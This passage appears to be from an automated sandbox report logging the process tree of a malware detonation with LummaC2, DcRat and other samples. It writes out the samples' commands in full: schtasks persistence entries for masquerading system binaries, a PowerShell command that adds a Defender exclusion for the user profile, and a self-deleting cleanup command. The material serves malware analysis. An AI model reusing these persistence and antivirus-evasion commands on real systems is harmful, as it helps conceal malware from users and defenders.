                                                                                                    • Adds Run key to start application
                                                                                                    PID:5316
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\eeee.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\eeee.exe"
                                                                                                    2⤵
                                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                                    PID:3556
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\inte.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\inte.exe"
                                                                                                    2⤵
                                                                                                    • Checks computer location settings
                                                                                                    PID:4216
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 740
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:1544
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 740
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:1120
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 792
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:5308
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 800
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:5616
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 960
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:2308
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 968
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:6064
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 1208
                                                                                                      3⤵
                                                                                                      • Program crash
                                                                                                      PID:5276
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a\inte.exe" & exit
                                                                                                      3⤵
                                                                                                        PID:4948
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 1460
                                                                                                        3⤵
                                                                                                        • Program crash
                                                                                                        PID:5724
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
                                                                                                      2⤵
                                                                                                        PID:5808
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\hghgfhjfhmain.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\hghgfhjfhmain.exe"
                                                                                                        2⤵
                                                                                                          PID:3260
                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                            "schtasks" /create /tn "fgfdhdgg" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\gfgfgf\gfdgfdg.exe" /rl HIGHEST /f
                                                                                                            3⤵
                                                                                                            • DcRat
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:5724
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\swiiiii.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\swiiiii.exe"
                                                                                                          2⤵
                                                                                                          • Suspicious use of SetThreadContext
                                                                                                          PID:292
                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                            3⤵
                                                                                                              PID:3028
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 292 -s 888
                                                                                                              3⤵
                                                                                                              • Program crash
                                                                                                              PID:1400
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Akh.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Akh.exe"
                                                                                                            2⤵
                                                                                                            • Suspicious use of SetThreadContext
                                                                                                            PID:3644
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:1944
                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
                                                                                                                3⤵
                                                                                                                  PID:4444
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                                                                  3⤵
                                                                                                                    PID:5988
                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                                                                                                                    3⤵
                                                                                                                    • Drops startup file
                                                                                                                    PID:2092
                                                                                                                    • C:\Users\Admin\Pictures\okO9NXcQjmaAzWMjB747OEcS.exe
                                                                                                                      "C:\Users\Admin\Pictures\okO9NXcQjmaAzWMjB747OEcS.exe"
                                                                                                                      4⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      PID:4724
                                                                                                                    • C:\Users\Admin\Pictures\6IaPH5jVY4tfHFOg5Vi3VnGZ.exe
                                                                                                                      "C:\Users\Admin\Pictures\6IaPH5jVY4tfHFOg5Vi3VnGZ.exe"
                                                                                                                      4⤵
                                                                                                                        PID:3908
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\koooooo.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\koooooo.exe"
                                                                                                                    2⤵
                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                    PID:5716
                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                      3⤵
                                                                                                                        PID:5960
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5716 -s 868
                                                                                                                        3⤵
                                                                                                                        • Program crash
                                                                                                                        PID:832
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Crypto.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Crypto.exe"
                                                                                                                      2⤵
                                                                                                                        PID:2780
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\LummaC2.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\LummaC2.exe"
                                                                                                                        2⤵
                                                                                                                          PID:3160
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\RoulleteBotPro_x32-x64.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\RoulleteBotPro_x32-x64.exe"
                                                                                                                          2⤵
                                                                                                                            PID:4216
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\random.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\random.exe"
                                                                                                                            2⤵
                                                                                                                              PID:5360
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\asdfg.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\asdfg.exe"
                                                                                                                              2⤵
                                                                                                                                PID:5664
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5664 -s 804
                                                                                                                                  3⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:3560
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\lumma2.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\lumma2.exe"
                                                                                                                                2⤵
                                                                                                                                  PID:4676
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\ghjk.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\ghjk.exe"
                                                                                                                                  2⤵
                                                                                                                                    PID:3320
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\AppGate2103v01.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\AppGate2103v01.exe"
                                                                                                                                    2⤵
                                                                                                                                      PID:5588
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1944 -ip 1944
                                                                                                                                    1⤵
                                                                                                                                      PID:1708
                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                      1⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:1536
                                                                                                                                    • C:\Users\Public\svchost.exe
                                                                                                                                      C:\Users\Public\svchost.exe
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:4212
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 808 -ip 808
                                                                                                                                      1⤵
                                                                                                                                        PID:1568
                                                                                                                                      • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                        C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:4504
                                                                                                                                        • C:\Users\Public\svchost.exe
                                                                                                                                          C:\Users\Public\svchost.exe
                                                                                                                                          1⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:544
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3504 -ip 3504
                                                                                                                                          1⤵
                                                                                                                                            PID:2904
                                                                                                                                          • C:\Users\Public\svchost.exe
                                                                                                                                            C:\Users\Public\svchost.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:4320
                                                                                                                                          • C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                            C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:1332
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4544 -ip 4544
                                                                                                                                            1⤵
                                                                                                                                              PID:3624
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3388 -ip 3388
                                                                                                                                              1⤵
                                                                                                                                                PID:2168
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4544 -ip 4544
                                                                                                                                                1⤵
                                                                                                                                                  PID:4736
                                                                                                                                                • C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
                                                                                                                                                  1⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:2112
                                                                                                                                                  • C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:664
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 552
                                                                                                                                                      3⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:5720
                                                                                                                                                  • C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:3544
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 640
                                                                                                                                                    2⤵
                                                                                                                                                    • Program crash
                                                                                                                                                    PID:5208
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2084 -ip 2084
                                                                                                                                                  1⤵
                                                                                                                                                    PID:756
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 2112 -ip 2112
                                                                                                                                                    1⤵
                                                                                                                                                      PID:3016
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5032 -ip 5032
                                                                                                                                                      1⤵
                                                                                                                                                        PID:4916
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 664 -ip 664
                                                                                                                                                        1⤵
                                                                                                                                                          PID:5548
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 512 -ip 512
                                                                                                                                                          1⤵
                                                                                                                                                            PID:5772
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5900 -ip 5900
                                                                                                                                                            1⤵
                                                                                                                                                              PID:5168
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 996 -ip 996
                                                                                                                                                              1⤵
                                                                                                                                                                PID:5608
                                                                                                                                                              • C:\Users\Public\svchost.exe
                                                                                                                                                                C:\Users\Public\svchost.exe
                                                                                                                                                                1⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4876
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                1⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4956
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5408 -ip 5408
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5472
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2320 -ip 2320
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:4196
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Recent\dwm.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:6072
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Admin\Recent\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5828
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Recent\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5948
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 14 /tr "'C:\odt\vbc.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5884
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "vbc" /sc ONLOGON /tr "'C:\odt\vbc.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5116
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 6 /tr "'C:\odt\vbc.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4100
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RuntimeBroker.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:280
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:2768
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:6084
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5252
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5292
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:1596
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\Windows\de-DE\SearchApp.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:336
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\de-DE\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5224
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Windows\de-DE\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5200
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\BlockComponentwebMonitordhcp\dwm.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5992
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\BlockComponentwebMonitordhcp\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:6108
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\BlockComponentwebMonitordhcp\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5404
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Windows\Registration\CRMLog\taskhostw.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5344
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Windows\Registration\CRMLog\taskhostw.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5144
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Windows\Registration\CRMLog\taskhostw.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5284
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\BlockComponentwebMonitordhcp\StartMenuExperienceHost.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4712
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\BlockComponentwebMonitordhcp\StartMenuExperienceHost.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:184
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\BlockComponentwebMonitordhcp\StartMenuExperienceHost.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5348
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5448
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5384
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4716
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\BlockComponentwebMonitordhcp\Registry.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:1404
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\BlockComponentwebMonitordhcp\Registry.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:2980
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 13 /tr "'C:\BlockComponentwebMonitordhcp\Registry.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5748
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:3216
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5212
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                    1⤵
                                                                                                                                                                    • DcRat
                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:5408
                                                                                                                                                                  • C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
                                                                                                                                                                    C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
